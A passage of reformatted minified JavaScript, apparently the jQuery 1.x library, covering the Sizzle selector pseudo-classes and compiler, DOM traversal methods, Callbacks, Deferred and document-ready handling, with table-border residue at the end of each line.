has: cq(function(i) { | |
return function(dv) { | |
return cD(i, dv).length > 0 | |
} | |
}), | |
contains: cq(function(i) { | |
i = i.replace(cz, dc); | |
return function(dv) { | |
return (dv.textContent || dv.innerText || cO(dv)).indexOf(i) > -1 | |
} | |
}), | |
lang: cq(function(i) { | |
if (!c1.test(i || "")) { | |
cD.error("unsupported lang: " + i) | |
} | |
i = i.replace(cz, dc).toLowerCase(); | |
return function(dw) { | |
var dv; | |
do { | |
if ((dv = df ? dw.lang : dw.getAttribute("xml:lang") || dw.getAttribute("lang"))) { | |
dv = dv.toLowerCase(); | |
return dv === i || dv.indexOf(i + "-") === 0 | |
} | |
} while ((dw = dw.parentNode) && dw.nodeType === 1); | |
return false | |
} | |
}), | |
target: function(i) { | |
var dv = dl.location && dl.location.hash; | |
return dv && dv.slice(1) === i.id | |
}, | |
root: function(i) { | |
return i === cv | |
}, | |
focus: function(i) { | |
return i === cJ.activeElement && (!cJ.hasFocus || cJ.hasFocus()) && !!(i.type || i.href || ~i.tabIndex) | |
}, | |
enabled: function(i) { | |
return i.disabled === false | |
}, | |
disabled: function(i) { | |
return i.disabled === true | |
}, | |
checked: function(i) { | |
var dv = i.nodeName.toLowerCase(); | |
return (dv === "input" && !!i.checked) || (dv === "option" && !!i.selected) | |
}, | |
selected: function(i) { | |
if (i.parentNode) { | |
i.parentNode.selectedIndex | |
} | |
return i.selected === true | |
}, | |
empty: function(i) { | |
for (i = i.firstChild; i; i = i.nextSibling) { | |
if (i.nodeType < 6) { | |
return false | |
} | |
} | |
return true | |
}, | |
parent: function(i) { | |
return !cu.pseudos.empty(i) | |
}, | |
header: function(i) { | |
return cs.test(i.nodeName) | |
}, | |
input: function(i) { | |
return cj.test(i.nodeName) | |
}, | |
button: function(dv) { | |
var i = dv.nodeName.toLowerCase(); | |
return i === "input" && dv.type === "button" || i === "button" | |
}, | |
text: function(dv) { | |
var i; | |
return dv.nodeName.toLowerCase() === "input" && dv.type === "text" && ((i = dv.getAttribute("type")) == null || i.toLowerCase() === "text") | |
}, | |
first: de(function() { | |
return [0] | |
}), | |
last: de(function(i, dv) { | |
return [dv - 1] | |
}), | |
eq: de(function(i, dw, dv) { | |
return [dv < 0 ? dv + dw : dv] | |
}), | |
even: de(function(dv, dx) { | |
var dw = 0; | |
for (; dw < dx; dw += 2) { | |
dv.push(dw) | |
} | |
return dv | |
}), | |
odd: de(function(dv, dx) { | |
var dw = 1; | |
for (; dw < dx; dw += 2) { | |
dv.push(dw) | |
} | |
return dv | |
}), | |
lt: de(function(dv, dy, dx) { | |
var dw = dx < 0 ? dx + dy : dx; | |
for (; --dw >= 0;) { | |
dv.push(dw) | |
} | |
return dv | |
}), | |
gt: de(function(dv, dy, dx) { | |
var dw = dx < 0 ? dx + dy : dx; | |
for (; ++dw < dy;) { | |
dv.push(dw) | |
} | |
return dv | |
}) | |
} | |
}; | |
cu.pseudos.nth = cu.pseudos.eq; | |
for (cF in { | |
radio: true, | |
checkbox: true, | |
file: true, | |
password: true, | |
image: true | |
}) { | |
cu.pseudos[cF] = cE(cF) | |
} | |
for (cF in { | |
submit: true, | |
reset: true | |
}) { | |
cu.pseudos[cF] = ci(cF) | |
} | |
function c2() {} | |
c2.prototype = cu.filters = cu.pseudos; | |
cu.setFilters = new c2(); | |
co = cD.tokenize = function(dy, dD) { | |
var dv, dz, dB, dC, dA, dw, i, dx = dg[dy + " "]; | |
if (dx) { | |
return dD ? 0 : dx.slice(0) | |
} | |
dA = dy; | |
dw = []; | |
i = cu.preFilter; | |
while (dA) { | |
if (!dv || (dz = cC.exec(dA))) { | |
if (dz) { | |
dA = dA.slice(dz[0].length) || dA | |
} | |
dw.push((dB = [])) | |
} | |
dv = false; | |
if ((dz = cI.exec(dA))) { | |
dv = dz.shift(); | |
dB.push({ | |
value: dv, | |
type: dz[0].replace(cy, " ") | |
}); | |
dA = dA.slice(dv.length) | |
} | |
for (dC in cu.filter) { | |
if ((dz = c9[dC].exec(dA)) && (!i[dC] || (dz = i[dC](dz)))) { | |
dv = dz.shift(); | |
dB.push({ | |
value: dv, | |
type: dC, | |
matches: dz | |
}); | |
dA = dA.slice(dv.length) | |
} | |
} | |
if (!dv) { | |
break | |
} | |
} | |
return dD ? dA.length : dA ? cD.error(dy) : dg(dy, dw).slice(0) | |
}; | |
function cp(dy) { | |
var dx = 0, | |
dw = dy.length, | |
dv = ""; | |
for (; dx < dw; dx++) { | |
dv += dy[dx].value | |
} | |
return dv | |
} | |
function cx(dy, dw, dx) { | |
var i = dw.dir, | |
dz = dx && i === "parentNode", | |
dv = db++; | |
return dw.first ? function(dC, dB, dA) { | |
while ((dC = dC[i])) { | |
if (dC.nodeType === 1 || dz) { | |
return dy(dC, dB, dA) | |
} | |
} | |
} : function(dF, dD, dC) { | |
var dG, dA, dE, dB = [dq, dv]; | |
if (dC) { | |
while ((dF = dF[i])) { | |
if (dF.nodeType === 1 || dz) { | |
if (dy(dF, dD, dC)) { | |
return true | |
} | |
} | |
} | |
} else { | |
while ((dF = dF[i])) { | |
if (dF.nodeType === 1 || dz) { | |
dE = dF[dh] || (dF[dh] = {}); | |
dA = dE[dF.uniqueID] || (dE[dF.uniqueID] = {}); | |
if ((dG = dA[i]) && dG[0] === dq && dG[1] === dv) { | |
return (dB[2] = dG[2]) | |
} else { | |
dA[i] = dB; | |
if ((dB[2] = dy(dF, dD, dC))) { | |
return true | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
function ds(i) { | |
return i.length > 1 ? function(dy, dx, dv) { | |
var dw = i.length; | |
while (dw--) { | |
if (!i[dw](dy, dx, dv)) { | |
return false | |
} | |
} | |
return true | |
} : i[0] | |
} | |
function cG(dw, dz, dy) { | |
var dx = 0, | |
dv = dz.length; | |
for (; dx < dv; dx++) { | |
cD(dw, dz[dx], dy) | |
} | |
return dy | |
} | |
function c7(dv, dw, dx, dy, dB) { | |
var dz, dE = [], | |
dA = 0, | |
dC = dv.length, | |
dD = dw != null; | |
for (; dA < dC; dA++) { | |
if ((dz = dv[dA])) { | |
if (!dx || dx(dz, dy, dB)) { | |
dE.push(dz); | |
if (dD) { | |
dw.push(dA) | |
} | |
} | |
} | |
} | |
return dE | |
} | |
function cn(dw, dv, dy, dx, dz, i) { | |
if (dx && !dx[dh]) { | |
dx = cn(dx) | |
} | |
if (dz && !dz[dh]) { | |
dz = cn(dz, i) | |
} | |
return cq(function(dK, dH, dC, dJ) { | |
var dM, dI, dE, dD = [], | |
dL = [], | |
dB = dH.length, | |
dA = dK || cG(dv || "*", dC.nodeType ? [dC] : dC, []), | |
dF = dw && (dK || !dv) ? c7(dA, dD, dw, dC, dJ) : dA, | |
dG = dy ? dz || (dK ? dw : dB || dx) ? [] : dH : dF; | |
if (dy) { | |
dy(dF, dG, dC, dJ) | |
} | |
if (dx) { | |
dM = c7(dG, dL); | |
dx(dM, [], dC, dJ); | |
dI = dM.length; | |
while (dI--) { | |
if ((dE = dM[dI])) { | |
dG[dL[dI]] = !(dF[dL[dI]] = dE) | |
} | |
} | |
} | |
if (dK) { | |
if (dz || dw) { | |
if (dz) { | |
dM = []; | |
dI = dG.length; | |
while (dI--) { | |
if ((dE = dG[dI])) { | |
dM.push((dF[dI] = dE)) | |
} | |
} | |
dz(null, (dG = []), dM, dJ) | |
} | |
dI = dG.length; | |
while (dI--) { | |
if ((dE = dG[dI]) && (dM = dz ? ck(dK, dE) : dD[dI]) > -1) { | |
dK[dM] = !(dH[dM] = dE) | |
} | |
} | |
} | |
} else { | |
dG = c7(dG === dH ? dG.splice(dB, dG.length) : dG); | |
if (dz) { | |
dz(null, dH, dG, dJ) | |
} else { | |
ce.apply(dH, dG) | |
} | |
} | |
}) | |
} | |
function di(dB) { | |
var dw, dz, dx, dA = dB.length, | |
dE = cu.relative[dB[0].type], | |
dF = dE || cu.relative[" "], | |
dy = dE ? 1 : 0, | |
dC = cx(function(i) { | |
return i === dw | |
}, dF, true), | |
dD = cx(function(i) { | |
return ck(dw, i) > -1 | |
}, dF, true), | |
dv = [function(dI, dH, dG) { | |
var i = (!dE && (dG || dH !== du)) || ((dw = dH).nodeType ? dC(dI, dH, dG) : dD(dI, dH, dG)); | |
dw = null; | |
return i | |
}]; | |
for (; dy < dA; dy++) { | |
if ((dz = cu.relative[dB[dy].type])) { | |
dv = [cx(ds(dv), dz)] | |
} else { | |
dz = cu.filter[dB[dy].type].apply(null, dB[dy].matches); | |
if (dz[dh]) { | |
dx = ++dy; | |
for (; dx < dA; dx++) { | |
if (cu.relative[dB[dx].type]) { | |
break | |
} | |
} | |
return cn(dy > 1 && ds(dv), dy > 1 && cp(dB.slice(0, dy - 1).concat({ | |
value: dB[dy - 2].type === " " ? "*" : "" | |
})).replace(cy, "$1"), dz, dy < dx && di(dB.slice(dy, dx)), dx < dA && di((dB = dB.slice(dx))), dx < dA && cp(dB)) | |
} | |
dv.push(dz) | |
} | |
} | |
return ds(dv) | |
} | |
function c5(dx, dw) { | |
var i = dw.length > 0, | |
dy = dx.length > 0, | |
dv = function(dI, dC, dH, dG, dL) { | |
var dD, dE, dJ, dN = 0, | |
dF = "0", | |
dz = dI && [], | |
dO = [], | |
dM = du, | |
dB = dI || dy && cu.find.TAG("*", dL), | |
dA = (dq += dM == null ? 1 : Math.random() || 0.1), | |
dK = dB.length; | |
if (dL) { | |
du = dC === cJ || dC || dL | |
} | |
for (; dF !== dK && (dD = dB[dF]) != null; dF++) { | |
if (dy && dD) { | |
dE = 0; | |
if (!dC && dD.ownerDocument !== cJ) { | |
c6(dD); | |
dH = !df | |
} | |
while ((dJ = dx[dE++])) { | |
if (dJ(dD, dC || cJ, dH)) { | |
dG.push(dD); | |
break | |
} | |
} | |
if (dL) { | |
dq = dA | |
} | |
} | |
if (i) { | |
if ((dD = !dJ && dD)) { | |
dN-- | |
} | |
if (dI) { | |
dz.push(dD) | |
} | |
} | |
} | |
dN += dF; | |
if (i && dF !== dN) { | |
dE = 0; | |
while ((dJ = dw[dE++])) { | |
dJ(dz, dO, dC, dH) | |
} | |
if (dI) { | |
if (dN > 0) { | |
while (dF--) { | |
if (!(dz[dF] || dO[dF])) { | |
dO[dF] = dk.call(dG) | |
} | |
} | |
} | |
dO = c7(dO) | |
} | |
ce.apply(dG, dO); | |
if (dL && !dI && dO.length > 0 && (dN + dw.length) > 1) { | |
cD.uniqueSort(dG) | |
} | |
} | |
if (dL) { | |
dq = dA; | |
du = dM | |
} | |
return dz | |
}; | |
return i ? cq(dv) : dv | |
} | |
c3 = cD.compile = function(dv, dx) { | |
var dy, dw = [], | |
dA = [], | |
dz = cN[dv + " "]; | |
if (!dz) { | |
if (!dx) { | |
dx = co(dv) | |
} | |
dy = dx.length; | |
while (dy--) { | |
dz = di(dx[dy]); | |
if (dz[dh]) { | |
dw.push(dz) | |
} else { | |
dA.push(dz) | |
} | |
} | |
dz = cN(dv, c5(dA, dw)); | |
dz.selector = dv | |
} | |
return dz | |
}; | |
dn = cD.select = function(dx, dv, dy, dB) { | |
var dz, dE, dw, dF, dC, dD = typeof dx === "function" && dx, | |
dA = !dB && co((dx = dD.selector || dx)); | |
dy = dy || []; | |
if (dA.length === 1) { | |
dE = dA[0] = dA[0].slice(0); | |
if (dE.length > 2 && (dw = dE[0]).type === "ID" && dp.getById && dv.nodeType === 9 && df && cu.relative[dE[1].type]) { | |
dv = (cu.find.ID(dw.matches[0].replace(cz, dc), dv) || [])[0]; | |
if (!dv) { | |
return dy | |
} else { | |
if (dD) { | |
dv = dv.parentNode | |
} | |
} | |
dx = dx.slice(dE.shift().value.length) | |
} | |
dz = c9.needsContext.test(dx) ? 0 : dE.length; | |
while (dz--) { | |
dw = dE[dz]; | |
if (cu.relative[(dF = dw.type)]) { | |
break | |
} | |
if ((dC = cu.find[dF])) { | |
if ((dB = dC(dw.matches[0].replace(cz, dc), c8.test(dE[0].type) && c0(dv.parentNode) || dv))) { | |
dE.splice(dz, 1); | |
dx = dB.length && cp(dE); | |
if (!dx) { | |
ce.apply(dy, dB); | |
return dy | |
} | |
break | |
} | |
} | |
} | |
}(dD || c3(dx, dA))(dB, dv, !df, dy, !dv || c8.test(dx) && c0(dv.parentNode) || dv); | |
return dy | |
}; | |
dp.sortStable = dh.split("").sort(cL).join("") === dh; | |
dp.detectDuplicates = !!c4; | |
c6(); | |
dp.sortDetached = cm(function(i) { | |
return i.compareDocumentPosition(cJ.createElement("div")) & 1 | |
}); | |
if (!cm(function(i) { | |
i.innerHTML = "<a href='#'></a>"; | |
return i.firstChild.getAttribute("href") === "#" | |
})) { | |
dr("type|href|height|width", function(dv, i, dw) { | |
if (!dw) { | |
return dv.getAttribute(i, i.toLowerCase() === "type" ? 1 : 2) | |
} | |
}) | |
} | |
if (!dp.attributes || !cm(function(i) { | |
i.innerHTML = "<input/>"; | |
i.firstChild.setAttribute("value", ""); | |
return i.firstChild.getAttribute("value") === "" | |
})) { | |
dr("value", function(dv, i, dw) { | |
if (!dw && dv.nodeName.toLowerCase() === "input") { | |
return dv.defaultValue | |
} | |
}) | |
} | |
if (!cm(function(i) { | |
return i.getAttribute("disabled") == null | |
})) { | |
dr(cf, function(dv, i, dx) { | |
var dw; | |
if (!dx) { | |
return dv[i] === true ? i.toLowerCase() : (dw = dv.getAttributeNode(i)) && dw.specified ? dw.value : null | |
} | |
}) | |
} | |
return cD | |
})(bd); | |
bQ.find = l; | |
bQ.expr = l.selectors; | |
bQ.expr[":"] = bQ.expr.pseudos; | |
bQ.uniqueSort = bQ.unique = l.uniqueSort; | |
bQ.text = l.getText; | |
bQ.isXMLDoc = l.isXML; | |
bQ.contains = l.contains; | |
var ag = function(cg, ce, ch) { | |
var i = [], | |
cf = ch !== undefined; | |
while ((cg = cg[ce]) && cg.nodeType !== 9) { | |
if (cg.nodeType === 1) { | |
if (cf && bQ(cg).is(ch)) { | |
break | |
} | |
i.push(cg) | |
} | |
} | |
return i | |
}; | |
var o = function(cf, ce) { | |
var i = []; | |
for (; cf; cf = cf.nextSibling) { | |
if (cf.nodeType === 1 && cf !== ce) { | |
i.push(cf) | |
} | |
} | |
return i | |
}; | |
var A = bQ.expr.match.needsContext; | |
var a = (/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/); | |
var aS = /^.[^:#\[\.,]*$/; | |
function aZ(cf, i, ce) { | |
if (bQ.isFunction(i)) { | |
return bQ.grep(cf, function(ch, cg) { | |
return !!i.call(ch, cg, ch) !== ce | |
}) | |
} | |
if (i.nodeType) { | |
return bQ.grep(cf, function(cg) { | |
return (cg === i) !== ce | |
}) | |
} | |
if (typeof i === "string") { | |
if (aS.test(i)) { | |
return bQ.filter(i, cf, ce) | |
} | |
i = bQ.filter(i, cf) | |
} | |
return bQ.grep(cf, function(cg) { | |
return (bQ.inArray(cg, i) > -1) !== ce | |
}) | |
} | |
bQ.filter = function(cg, i, cf) { | |
var ce = i[0]; | |
if (cf) { | |
cg = ":not(" + cg + ")" | |
} | |
return i.length === 1 && ce.nodeType === 1 ? bQ.find.matchesSelector(ce, cg) ? [ce] : [] : bQ.find.matches(cg, bQ.grep(i, function(ch) { | |
return ch.nodeType === 1 | |
})) | |
}; | |
bQ.fn.extend({ | |
find: function(cf) { | |
var ci, ch = [], | |
cg = this, | |
ce = cg.length; | |
if (typeof cf !== "string") { | |
return this.pushStack(bQ(cf).filter(function() { | |
for (ci = 0; ci < ce; ci++) { | |
if (bQ.contains(cg[ci], this)) { | |
return true | |
} | |
} | |
})) | |
} | |
for (ci = 0; ci < ce; ci++) { | |
bQ.find(cf, cg[ci], ch) | |
} | |
ch = this.pushStack(ce > 1 ? bQ.unique(ch) : ch); | |
ch.selector = this.selector ? this.selector + " " + cf : cf; | |
return ch | |
}, | |
filter: function(i) { | |
return this.pushStack(aZ(this, i || [], false)) | |
}, | |
not: function(i) { | |
return this.pushStack(aZ(this, i || [], true)) | |
}, | |
is: function(i) { | |
return !!aZ(this, typeof i === "string" && A.test(i) ? bQ(i) : i || [], false).length | |
} | |
}); | |
var z, bB = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, | |
b4 = bQ.fn.init = function(i, cg, ce) { | |
var cf, ch; | |
if (!i) { | |
return this | |
} | |
ce = ce || z; | |
if (typeof i === "string") { | |
if (i.charAt(0) === "<" && i.charAt(i.length - 1) === ">" && i.length >= 3) { | |
cf = [null, i, null] | |
} else { | |
cf = bB.exec(i) | |
} | |
if (cf && (cf[1] || !cg)) { | |
if (cf[1]) { | |
cg = cg instanceof bQ ? cg[0] : cg; | |
bQ.merge(this, bQ.parseHTML(cf[1], cg && cg.nodeType ? cg.ownerDocument || cg : m, true)); | |
if (a.test(cf[1]) && bQ.isPlainObject(cg)) { | |
for (cf in cg) { | |
if (bQ.isFunction(this[cf])) { | |
this[cf](cg[cf]) | |
} else { | |
this.attr(cf, cg[cf]) | |
} | |
} | |
} | |
return this | |
} else { | |
ch = m.getElementById(cf[2]); | |
if (ch && ch.parentNode) { | |
if (ch.id !== cf[2]) { | |
return z.find(i) | |
} | |
this.length = 1; | |
this[0] = ch | |
} | |
this.context = m; | |
this.selector = i; | |
return this | |
} | |
} else { | |
if (!cg || cg.jquery) { | |
return (cg || ce).find(i) | |
} else { | |
return this.constructor(cg).find(i) | |
} | |
} | |
} else { | |
if (i.nodeType) { | |
this.context = this[0] = i; | |
this.length = 1; | |
return this | |
} else { | |
if (bQ.isFunction(i)) { | |
return typeof ce.ready !== "undefined" ? ce.ready(i) : i(bQ) | |
} | |
} | |
} | |
if (i.selector !== undefined) { | |
this.selector = i.selector; | |
this.context = i.context | |
} | |
return bQ.makeArray(i, this) | |
}; | |
b4.prototype = bQ.fn; | |
z = bQ(m); | |
var bD = /^(?:parents|prev(?:Until|All))/, | |
bH = { | |
children: true, | |
contents: true, | |
next: true, | |
prev: true | |
}; | |
bQ.fn.extend({ | |
has: function(ch) { | |
var cg, cf = bQ(ch, this), | |
ce = cf.length; | |
return this.filter(function() { | |
for (cg = 0; cg < ce; cg++) { | |
if (bQ.contains(this, cf[cg])) { | |
return true | |
} | |
} | |
}) | |
}, | |
closest: function(ci, ch) { | |
var cj, cg = 0, | |
cf = this.length, | |
ce = [], | |
ck = A.test(ci) || typeof ci !== "string" ? bQ(ci, ch || this.context) : 0; | |
for (; cg < cf; cg++) { | |
for (cj = this[cg]; cj && cj !== ch; cj = cj.parentNode) { | |
if (cj.nodeType < 11 && (ck ? ck.index(cj) > -1 : cj.nodeType === 1 && bQ.find.matchesSelector(cj, ci))) { | |
ce.push(cj); | |
break | |
} | |
} | |
} | |
return this.pushStack(ce.length > 1 ? bQ.uniqueSort(ce) : ce) | |
}, | |
index: function(i) { | |
if (!i) { | |
return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1 | |
} | |
if (typeof i === "string") { | |
return bQ.inArray(this[0], bQ(i)) | |
} | |
return bQ.inArray(i.jquery ? i[0] : i, this) | |
}, | |
add: function(i, ce) { | |
return this.pushStack(bQ.uniqueSort(bQ.merge(this.get(), bQ(i, ce)))) | |
}, | |
addBack: function(i) { | |
return this.add(i == null ? this.prevObject : this.prevObject.filter(i)) | |
} | |
}); | |
function a7(ce, i) { | |
do { | |
ce = ce[i] | |
} while (ce && ce.nodeType !== 1); | |
return ce | |
} | |
bQ.each({ | |
parent: function(ce) { | |
var i = ce.parentNode; | |
return i && i.nodeType !== 11 ? i : null | |
}, | |
parents: function(i) { | |
return ag(i, "parentNode") | |
}, | |
parentsUntil: function(cf, ce, cg) { | |
return ag(cf, "parentNode", cg) | |
}, | |
next: function(i) { | |
return a7(i, "nextSibling") | |
}, | |
prev: function(i) { | |
return a7(i, "previousSibling") | |
}, | |
nextAll: function(i) { | |
return ag(i, "nextSibling") | |
}, | |
prevAll: function(i) { | |
return ag(i, "previousSibling") | |
}, | |
nextUntil: function(cf, ce, cg) { | |
return ag(cf, "nextSibling", cg) | |
}, | |
prevUntil: function(cf, ce, cg) { | |
return ag(cf, "previousSibling", cg) | |
}, | |
siblings: function(i) { | |
return o((i.parentNode || {}).firstChild, i) | |
}, | |
children: function(i) { | |
return o(i.firstChild) | |
}, | |
contents: function(i) { | |
return bQ.nodeName(i, "iframe") ? i.contentDocument || i.contentWindow.document : bQ.merge([], i.childNodes) | |
} | |
}, function(i, ce) { | |
bQ.fn[i] = function(ch, cf) { | |
var cg = bQ.map(this, ce, ch); | |
if (i.slice(-5) !== "Until") { | |
cf = ch | |
} | |
if (cf && typeof cf === "string") { | |
cg = bQ.filter(cf, cg) | |
} | |
if (this.length > 1) { | |
if (!bH[i]) { | |
cg = bQ.uniqueSort(cg) | |
} | |
if (bD.test(i)) { | |
cg = cg.reverse() | |
} | |
} | |
return this.pushStack(cg) | |
} | |
}); | |
var aN = (/\S+/g); | |
function an(ce) { | |
var i = {}; | |
bQ.each(ce.match(aN) || [], function(cg, cf) { | |
i[cf] = true | |
}); | |
return i | |
} | |
bQ.Callbacks = function(cm) { | |
cm = typeof cm === "string" ? an(cm) : bQ.extend({}, cm); | |
var ch, cf, i, cg, ck = [], | |
ci = [], | |
cj = -1, | |
ce = function() { | |
cg = cm.once; | |
i = ch = true; | |
for (; ci.length; cj = -1) { | |
cf = ci.shift(); | |
while (++cj < ck.length) { | |
if (ck[cj].apply(cf[0], cf[1]) === false && cm.stopOnFalse) { | |
cj = ck.length; | |
cf = false | |
} | |
} | |
} | |
if (!cm.memory) { | |
cf = false | |
} | |
ch = false; | |
if (cg) { | |
if (cf) { | |
ck = [] | |
} else { | |
ck = "" | |
} | |
} | |
}, | |
cl = { | |
add: function() { | |
if (ck) { | |
if (cf && !ch) { | |
cj = ck.length - 1; | |
ci.push(cf) | |
}(function cn(co) { | |
bQ.each(co, function(cq, cp) { | |
if (bQ.isFunction(cp)) { | |
if (!cm.unique || !cl.has(cp)) { | |
ck.push(cp) | |
} | |
} else { | |
if (cp && cp.length && bQ.type(cp) !== "string") { | |
cn(cp) | |
} | |
} | |
}) | |
})(arguments); | |
if (cf && !ch) { | |
ce() | |
} | |
} | |
return this | |
}, | |
remove: function() { | |
bQ.each(arguments, function(cp, cn) { | |
var co; | |
while ((co = bQ.inArray(cn, ck, co)) > -1) { | |
ck.splice(co, 1); | |
if (co <= cj) { | |
cj-- | |
} | |
} | |
}); | |
return this | |
}, | |
has: function(cn) { | |
return cn ? bQ.inArray(cn, ck) > -1 : ck.length > 0 | |
}, | |
empty: function() { | |
if (ck) { | |
ck = [] | |
} | |
return this | |
}, | |
disable: function() { | |
cg = ci = []; | |
ck = cf = ""; | |
return this | |
}, | |
disabled: function() { | |
return !ck | |
}, | |
lock: function() { | |
cg = true; | |
if (!cf) { | |
cl.disable() | |
} | |
return this | |
}, | |
locked: function() { | |
return !!cg | |
}, | |
fireWith: function(co, cn) { | |
if (!cg) { | |
cn = cn || []; | |
cn = [co, cn.slice ? cn.slice() : cn]; | |
ci.push(cn); | |
if (!ch) { | |
ce() | |
} | |
} | |
return this | |
}, | |
fire: function() { | |
cl.fireWith(this, arguments); | |
return this | |
}, | |
fired: function() { | |
return !!i | |
} | |
}; | |
return cl | |
}; | |
bQ.extend({ | |
Deferred: function(cf) { | |
var ce = [ | |
["resolve", "done", bQ.Callbacks("once memory"), "resolved"], | |
["reject", "fail", bQ.Callbacks("once memory"), "rejected"], | |
["notify", "progress", bQ.Callbacks("memory")] | |
], | |
cg = "pending", | |
ch = { | |
state: function() { | |
return cg | |
}, | |
always: function() { | |
i.done(arguments).fail(arguments); | |
return this | |
}, | |
then: function() { | |
var ci = arguments; | |
return bQ.Deferred(function(cj) { | |
bQ.each(ce, function(cl, ck) { | |
var cm = bQ.isFunction(ci[cl]) && ci[cl]; | |
i[ck[1]](function() { | |
var cn = cm && cm.apply(this, arguments); | |
if (cn && bQ.isFunction(cn.promise)) { | |
cn.promise().progress(cj.notify).done(cj.resolve).fail(cj.reject) | |
} else { | |
cj[ck[0] + "With"](this === ch ? cj.promise() : this, cm ? [cn] : arguments) | |
} | |
}) | |
}); | |
ci = null | |
}).promise() | |
}, | |
promise: function(ci) { | |
return ci != null ? bQ.extend(ci, ch) : ch | |
} | |
}, | |
i = {}; | |
ch.pipe = ch.then; | |
bQ.each(ce, function(cj, ci) { | |
var cl = ci[2], | |
ck = ci[3]; | |
ch[ci[1]] = cl.add; | |
if (ck) { | |
cl.add(function() { | |
cg = ck | |
}, ce[cj ^ 1][2].disable, ce[2][2].lock) | |
} | |
i[ci[0]] = function() { | |
i[ci[0] + "With"](this === i ? ch : this, arguments); | |
return this | |
}; | |
i[ci[0] + "With"] = cl.fireWith | |
}); | |
ch.promise(i); | |
if (cf) { | |
cf.call(i, i) | |
} | |
return i | |
}, | |
when: function(ci) { | |
var cg = 0, | |
ck = Y.call(arguments), | |
ce = ck.length, | |
cf = ce !== 1 || (ci && bQ.isFunction(ci.promise)) ? ce : 0, | |
cn = cf === 1 ? ci : bQ.Deferred(), | |
ch = function(cp, cq, co) { | |
return function(i) { | |
cq[cp] = this; | |
co[cp] = arguments.length > 1 ? Y.call(arguments) : i; | |
if (co === cm) { | |
cn.notifyWith(cq, co) | |
} else { | |
if (!(--cf)) { | |
cn.resolveWith(cq, co) | |
} | |
} | |
} | |
}, | |
cm, cj, cl; | |
if (ce > 1) { | |
cm = new Array(ce); | |
cj = new Array(ce); | |
cl = new Array(ce); | |
for (; cg < ce; cg++) { | |
if (ck[cg] && bQ.isFunction(ck[cg].promise)) { | |
ck[cg].promise().progress(ch(cg, cj, cm)).done(ch(cg, cl, ck)).fail(cn.reject) | |
} else { | |
--cf | |
} | |
} | |
} | |
if (!cf) { | |
cn.resolveWith(cl, ck) | |
} | |
return cn.promise() | |
} | |
}); | |
var at; | |
bQ.fn.ready = function(i) { | |
bQ.ready.promise().done(i); | |
return this | |
}; | |
bQ.extend({ | |
isReady: false, | |
readyWait: 1, | |
holdReady: function(i) { | |
if (i) { | |
bQ.readyWait++ | |
} else { | |
bQ.ready(true) | |
} | |
}, | |
ready: function(i) { | |
if (i === true ? --bQ.readyWait : bQ.isReady) { | |
return | |
} | |
bQ.isReady = true; | |
if (i !== true && --bQ.readyWait > 0) { | |
return | |
} | |
at.resolveWith(m, [bQ]); | |
if (bQ.fn.triggerHandler) { | |
bQ(m).triggerHandler("ready"); | |
bQ(m).off("ready") | |
} | |
} | |
}); | |
function bu() { | |
if (m.addEventListener) { | |
m.removeEventListener("DOMContentLoaded", b8); | |
bd.removeEventListener("load", b8) | |
} else { | |
m.detachEvent("onreadystatechange", b8); | |
bd.detachEvent("onload", b8) | |
} | |
} | |
function b8() { | |
if (m.addEventListener || bd.event.type === "load" || m.readyState === "complete") { | |
bu(); | |
bQ.ready() | |
} | |
} | |
bQ.ready.promise = function(cg) { | |
if (!at) { | |
at = bQ.Deferred(); | |
if (m.readyState === "complete" || (m.readyState !== "loading" && !m.documentElement.doScroll)) { | |
bd.setTimeout(bQ.ready) | |
} else { | |
if (m.addEventListener) { | |
m.addEventListener("DOMContentLoaded", b8); | |
bd.addEventListener("load", b8) | |
} else { | |
m.attachEvent("onreadystatechange", b8); | |
bd.attachEvent("onload", b8); | |
var cf = false; | |
try { | |
cf = bd.frameElement == null && m.documentElement | |
} catch (ce) {} | |
if (cf && cf.doScroll) { | |
(function i() { | |
if (!bQ.isReady) { | |
try { | |
cf.doScroll("left") | |
} catch (ch) { | |
return bd.setTimeout(i, 50) | |
} | |
bu(); | |
bQ.ready() | |
} | |
})() | |
} | |
} | |
} | |
} | |
return at.promise(cg) | |
}; | |
bQ.ready.promise(); | |
var bp; | |
for (bp in bQ(G)) { | |
break | |
} | |
G.ownFirst = bp === "0"; | |
G.inlineBlockNeedsLayout = false; | |
bQ(function() { | |
var cf, cg, i, ce; | |
i = m.getElementsByTagName("body")[0]; | |
if (!i || !i.style) { | |
return | |
} | |
cg = m.createElement("div"); | |
ce = m.createElement("div"); | |
ce.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px"; | |
i.appendChild(ce).appendChild(cg); | |
if (typeof cg.style.zoom !== "undefined") { | |
cg.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1"; | |
G.inlineBlockNeedsLayout = cf = cg.offsetWidth === 3; | |
if (cf) { | |
i.style.zoom = 1 | |
} | |
} | |
i.removeChild(ce) | |
}); | |
(function() { | |
var ce = m.createElement("div"); | |
G.deleteExpando = true; | |
try { | |
delete ce.test | |
} catch (i) { | |
G.deleteExpando = false | |
} | |
ce = null | |
})(); | |
var W = function(cf) { | |
var ce = bQ.noData[(cf.nodeName + " ").toLowerCase()], | |
i = +cf.nodeType || 1; | |
return i !== 1 && i !== 9 ? false : !ce || ce !== true && cf.getAttribute("classid") === ce | |
}; | |
var bG = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, | |
aY = /([A-Z])/g; | |
function bI(cf, ce, cg) { | |
if (cg === undefined && cf.nodeType === 1) { | |
var i = "data-" + ce.replace(aY, "-$1").toLowerCase(); | |
cg = cf.getAttribute(i); | |
if (typeof cg === "string") { | |
try { | |
cg = cg === "true" ? true : cg === "false" ? false : cg === "null" ? null : +cg + "" === cg ? +cg : bG.test(cg) ? bQ.parseJSON(cg) : cg | |
} catch (ch) {} | |
bQ.data(cf, ce, cg) | |
} else { | |
cg = undefined | |
} | |
} | |
return cg | |
} | |
function Z(ce) { | |
var i; | |
for (i in ce) { | |
if (i === "data" && bQ.isEmptyObject(ce[i])) { | |
continue | |
} | |
if (i !== "toJSON") { | |
return false | |
} | |
} | |
return true | |
} | |
function bk(cg, ce, ci, ch) { | |
if (!W(cg)) { | |
return | |
} | |
var ck, cj, cl = bQ.expando, | |
cm = cg.nodeType, | |
i = cm ? bQ.cache : cg, | |
